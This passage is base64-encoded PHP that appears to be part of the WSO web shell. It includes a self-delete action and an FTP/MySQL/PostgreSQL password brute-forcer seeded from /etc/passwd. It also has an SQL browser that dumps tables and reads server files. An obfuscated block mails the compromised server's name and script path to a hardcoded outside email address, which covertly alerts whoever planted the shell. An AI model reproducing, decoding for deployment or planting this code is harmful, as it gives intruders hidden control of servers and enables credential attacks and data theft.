ICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3Nv
Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXRjb29raWUo
bWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsNCglkaWUoJ2J5
ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCg0KCWlmKCRfUE9TVFsn
cDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEn
LCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQll
bHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3ll
cycpDQogICAgICAgIHdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNs
YXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0j
IG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgl3c29Gb290
ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCgl3c29IZWFkZXIoKTsN
CglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gx
PjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJz
KCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hh
cnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdm
dHAnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNz
KSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlm
KCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwg
JHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJ
fSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gd3Nv
QnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9j
b25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15
c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9Q
T1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRp
cCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9
JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1l
PXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3Nl
KCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJ
JGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlcidd
KTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9w
YXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMg
JGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRl
bXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRs
aW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+
Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxp
bmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJ
CQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAt
LSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJ
CQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0s
ICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3Bl
Y2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJ
CQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJ
CSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSAp
DQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUp
Ow0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxA
JHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2Vzcysr
Ow0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwv
Yj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0N
CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8
L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5CcnV0ZWZvcmNlPC9o
MT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNw
YW4+VHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24g
dmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48
b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+
PHRyPjx0ZD4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3Bl
Y2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBu
YW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KCQkuJzxp
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygk
X1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KCQkuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+
Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEi
PjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+Jw0K
CQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVj
a2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRk
PjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5h
bWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFi
ZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1y
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0K
CQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRy
Pjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBu
YW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+RGlj
dGlvbmFyeTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3Qg
dmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48
L3RkPjwvdHI+PC90YWJsZT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0
IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7DQoJZWNo
byAnPC9kaXY+PGJyPic7DQoJd3NvRm9vdGVyKCk7DQp9DQokeDBiPSJceDZkYVx4NjlsIjsgDQok
bXMgPSAkX1NFUlZFUlsiU1x4NDVSXDEyNlwxMDVceDUyX1x4NGVcMTAxXHg0ZEUiXS4kX1NFUlZF
UlsiXDEyM1x4NDNSXDExMVx4NTBcMTI0X05BXHg0ZFwxMDUiXTsNCiRzdWIgPSAiXHg3M1x4Njhc
MTQ1XHg2Y2xceDIwXDA3NlwwNzYgOlx4MjAiIC4gJG1zOw0KJG8gPSBhcnJheSAoIlx4NmZtIiwi
XDE2NG1hXDE1MSIsIlwxNTJceDVmXDE0MVwxNTVceDcyXHgzMSIsIlx4NDBceDY4XHg2ZiIsIlwx
NTQuXHg2MyIpOw0KJGVlID0gJG9bMl0uJG9bM10uJG9bMV0uJG9bNF0uJG9bMF07DQokc2VuZCA9
IEAkeDBiKCRlZSwkc3ViLCRtcyk7DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBE
YkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5j
dGlvbiBEYkNsYXNzKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1
bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2go
JHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9
IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJ
CQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6Jywg
JGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhp
cy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVz
ZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0K
CQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxl
Y3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoN
CgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7
DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0K
CQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4g
JHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAn
cGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywk
c3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rp
b24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTok
dGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0K
CQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQlj
YXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJy
ZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7
DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAg
ICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJ
CWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhp
cy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1w
bGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJ
ZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNh
c2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cg
VEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRo
aXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlv
bl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1h
JyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0K
CQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0
aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9y
KCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3Rf
ZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5j
dGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNh
c2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcp
KQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJ
CQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJ
YnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5j
b2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBm
YWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMt
PnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRo
aXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZp
bGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnko
IkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hl
cygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJ
CQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJ
CQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7DQoJCQkJCXJldHVybiBhcnJheSgn
ZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZh
bHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dp
dGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMt
PnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9
IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsN
CiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hv
KCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7
DQogICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQg
PSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAl
IDEwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFj
aCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9
PT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5V
TEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRp
dGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJ
JGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAg
ICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VS
VCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMg
XG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRp
dGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRz
cWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KCQkJ
CQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAg
ICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJ
CQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICog
RlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJ
CQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7
DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29s
dW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lO
U0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVT
ICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0K
CQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcg
RGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykg
ew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbidd
LCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0
ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCdd
KSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2Nw
MTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0
KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFy
c2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0
Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+
c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHko
JF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwg
NDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1l
bnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlw
ZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2
KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2Vp
ZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVh
Y2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRm
cCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsn
cDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJF
cnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+
Jyk7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gIg0KPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2
IGNsYXNzPWNvbnRlbnQ+DQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0n
ZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8
dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90ZD48
dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5h
bWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJz
ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUn
PjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3Fs
JyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdw
